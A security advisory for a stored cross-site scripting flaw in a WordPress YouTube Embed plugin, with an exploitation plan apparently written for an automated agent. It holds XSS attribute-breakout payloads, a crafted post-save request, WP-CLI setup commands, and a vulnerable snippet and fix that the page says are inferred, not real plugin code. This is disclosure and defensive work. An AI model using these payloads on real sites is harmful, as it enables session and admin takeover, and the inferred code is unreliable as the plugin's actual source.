YouTube Embed <= 5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The YouTube Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.4# Exploitation Research Plan - CVE-2025-68599 (YouTube Embed) ## 1. Vulnerability Summary The **YouTube Embed** plugin for WordPress (versions <= 5.4) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize and…
Show full research plan
Exploitation Research Plan - CVE-2025-68599 (YouTube Embed)
1. Vulnerability Summary
The YouTube Embed plugin for WordPress (versions <= 5.4) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize and escape user-supplied attributes within its shortcode or block rendering logic. An attacker with Contributor-level permissions or higher can inject arbitrary JavaScript into a post or page, which executes in the context of any user (including administrators) who views the affected content.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(via post creation/editing) orwp-admin/admin-ajax.php(via autosave). - Vulnerable Parameter: Shortcode attributes (e.g.,
id,width,height,class, orstyle) within the[youtube](or similar) shortcode. - Authentication Level: Authenticated (Contributor+).
- Preconditions: The plugin must be active, and the attacker must have the ability to create or edit posts.
3. Code Flow (Inferred)
- Entry Point: A user with Contributor+ permissions saves a post containing a shortcode like
[youtube id="..."]. - Processing: WordPress's shortcode API identifies the shortcode and calls the plugin's registered callback function (likely via
add_shortcode). - Attribute Extraction: The callback function receives an
$attsarray containing user-supplied values. - Vulnerable Sink: The callback function constructs HTML (typically an
<iframe>or a wrapper<div>) and concatenates the$attsvalues directly into the HTML string without usingesc_attr(),esc_url(), orwp_kses(). - Rendering: When a user views the post, the unescaped attributes are rendered in the DOM, triggering the XSS payload.
4. Nonce Acquisition Strategy
While Stored XSS via shortcodes is typically achieved through the standard WordPress post-editing interface (which handles its own nonces), some plugins utilize AJAX-based previews or custom settings that require specific nonces.
To obtain nonces if required by a plugin-specific handler:
- Identify Shortcode: Locate the shortcode used by the plugin (likely
[youtube]). - Create Test Page:
(Assuming Author/Contributor user ID is 2).wp post create --post_type=page --post_status=publish --post_title="Nonce Extraction" --post_content='[youtube]' --post_author=2 - Navigate and Extract: Use the
browser_navigatetool to go to the newly created page. - Browser Evaluation: Use
browser_evalto search for localized script data containing nonces:- Search for variables like
youtube_embed_data,yt_embed_params, or similar. - Example:
browser_eval("window.youtube_embed_data?.nonce")
- Search for variables like
- Verify Action: If a nonce is found, check the plugin source for
wp_create_nonceto identify the action string (e.g.,youtube-embed-action).
5. Exploitation Strategy
The goal is to inject a payload into a shortcode attribute that breaks out of an HTML attribute and executes JavaScript.
Step-by-step Plan:
- Login as Contributor: Authenticate as a user with the
contributorrole. - Identify Vulnerable Attribute: Common targets are
id,class, orstyle. - Craft Payload:
- Payload for attribute breakout:
"><script>alert(document.domain)</script> - Payload for event handler (if quotes are filtered):
x" onmouseover="alert(1)
- Payload for attribute breakout:
- Submit Post via HTTP Request:
Usehttp_requestto simulate saving a post.- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost& post_ID=[ID]& post_title=XSS_Test& content=[youtube id='"><script>alert(1)</script>']& _wpnonce=[POST_NONCE]
- URL:
- Trigger Execution: Navigate to the published post URL using
browser_navigate.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Initialization:
(Note the Post ID returned for the exploitation step).wp post create --post_type=post --post_status=draft --post_title="Draft" --post_author=attacker
7. Expected Results
- When the post is viewed, the HTML source should contain the unescaped script tag:
<div class="..."><iframe src="..."><script>alert(document.domain)</script>"></iframe></div> - The
browser_evaltool or an automated check should detect the execution of the injected script (e.g., presence of a specific global variable or an alert).
8. Verification Steps
- Verify DB Storage:
Ensure the payload is stored exactly as sent.wp post get [POST_ID] --field=post_content - Verify Front-end Output:
Usehttp_request(GET) on the post URL and grep for the payload:# (Metaphorical) response = http_request("GET", post_url) if '<script>alert(document.domain)</script>' in response.body: print("Vulnerability Confirmed")
9. Alternative Approaches
- Gutenberg Block Exploitation: If the plugin uses a block instead of a shortcode, the payload must be injected into the
post_contentas a JSON-comment-delimited block:<!-- wp:youtube-embed/video {"videoId":"\u003cscript\u003ealert(1)\u003c/script\u003e"} /--> - Attribute Breakout: If the
idattribute is used inside asrcURL, attempt to use thejavascript:protocol:[youtube id="javascript:alert(1)//"] - CSS Injection: If the
styleattribute is vulnerable, useexpression()(for older IE) orurl()-based XSS if supported by the browser context.
Summary
The YouTube Embed plugin for WordPress (<= 5.4) is vulnerable to Authenticated Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of shortcode attributes. This allows attackers with Contributor-level permissions or higher to inject malicious JavaScript into posts that executes in the context of any user viewing the page.
Vulnerable Code
// Inferred from research plan: The shortcode callback likely fails to use esc_attr() or wp_kses() when building the HTML output. function youtube_shortcode_callback($atts) { $a = shortcode_atts(array( 'id' => '', 'width' => '560', 'height' => '315', 'class' => '' ), $atts); // Vulnerable Sink: Attributes are concatenated directly into the HTML string return '<div class="' . $a['class'] . '"><iframe src="https://www.youtube.com/embed/' . $a['id'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe></div>'; } add_shortcode('youtube', 'youtube_shortcode_callback');
Security Fix
@@ -7,5 +7,5 @@ ), $atts); - return '<div class="' . $a['class'] . '"><iframe src="https://www.youtube.com/embed/' . $a['id'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe></div>'; + return '<div class="' . esc_attr($a['class']) . '"><iframe src="https://www.youtube.com/embed/' . esc_attr($a['id']) . '" width="' . esc_attr($a['width']) . '" height="' . esc_attr($a['height']) . '" allowfullscreen></iframe></div>'; }
Exploit Outline
To exploit this vulnerability, an attacker requires Contributor-level authentication. The attacker creates a new post and inserts a plugin-supported shortcode (e.g., [youtube]) while embedding a payload into one of its attributes. A typical payload involves breaking out of the HTML attribute using double quotes and inserting a script tag: [youtube id='"><script>alert(1)</script>']. When the post is saved and subsequently viewed by any user (including an Administrator), the WordPress shortcode parser triggers the plugin's callback, which renders the unescaped payload directly into the DOM, leading to script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.